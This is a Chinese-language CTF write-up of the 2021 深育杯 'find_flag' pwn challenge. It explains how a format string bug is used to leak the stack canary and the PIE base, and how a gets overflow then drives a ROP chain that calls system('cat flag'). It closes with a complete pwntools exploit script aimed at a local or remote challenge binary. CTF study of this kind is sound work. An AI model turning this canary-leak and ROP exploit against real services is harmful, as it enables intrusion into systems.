题目复现——[深育杯 2021]find_flag
pie与canary同时开启,并且有格式化字符串。
检查程序:
保护很全面。
可以看的出,在第一处有格式化字符串漏洞。
IDA分析:
看了一下mian函数,将函数重命名,pwn是我们有漏洞的地方。
可以看到gets函数可以进行栈溢出,但是有canary保护,所以我们需要泄露canary,可以利用格式化字符串去泄露canary并覆写在栈上。
发现backdoor。但是开了pie,我们应该无法利用后们,但是好在只读变量(const修饰的)和字符串变量放入rodata 区。还是可以利用的。
gdb分析:
打断点在printf处(不知到为什么不能在main函数处大不了断点,很奇怪
一直步到下图处
看栈信息,很明显能看到canary——>
0b:0058│ 0x7fffffffdd18 ◂— 0x121203e586d31600
看一下距格式化字符串的偏移。
但是难点不是在泄露canary,而是在泄露基址上去,需要了解pie和栈,可以看到,在rbp下面刚好有一个我们能泄露函数基址,但是为什么是他呢?
考虑因为这个地址代表了我们的main函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。
接下来就是确定偏移了(须注意的一点就是需要在gets函数输入后,在查看栈的情况,这样更好确定。
exp构造环节:
既然我们找到了,我们就构造payload1 去泄露canary和基址
paylaod1 = b'%17$p---%19$p'
在构造rop链的准备。
Base = base - 0x146F
system = Base + elf.sym['system']
catflag = Base + 0x2004 # robata中的字符串
#ROPgadget --binary file --only 'pop|ret'
rdi = Base + 0x14E3
ret = Base + 0x101A
exp:
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('ff')
else:
p = remote('node4.anna.nssctf.cn',28068)
elf = ELF('./ff')
context.log_level = 'debug'
context(arch='amd64',os='linux')
p.recvuntil(b'name? ')
payload1 = b'%17$p---%19$p'
p.sendline(payload1)
p.recvuntil(b'you, ')
canary = int(p.recv(18), 16)
print(hex(canary))
p.recvuntil(b'---')
base = int(p.recv(14), 16)
print(hex(base))
Base = base - 0x146F
system = Base + elf.sym['system']
catflag = Base + 0x2004
#ropgadget
rdi = Base + 0x14E3
ret = Base + 0x101A
payload = b'a'*0x38 + p64(canary) + b'a'*8 + p64(ret) + p64(rdi) + p64(catflag) + p64(system)
p.recvuntil(b'else? ')
p.sendline(payload)
p.recv()
p.interactive()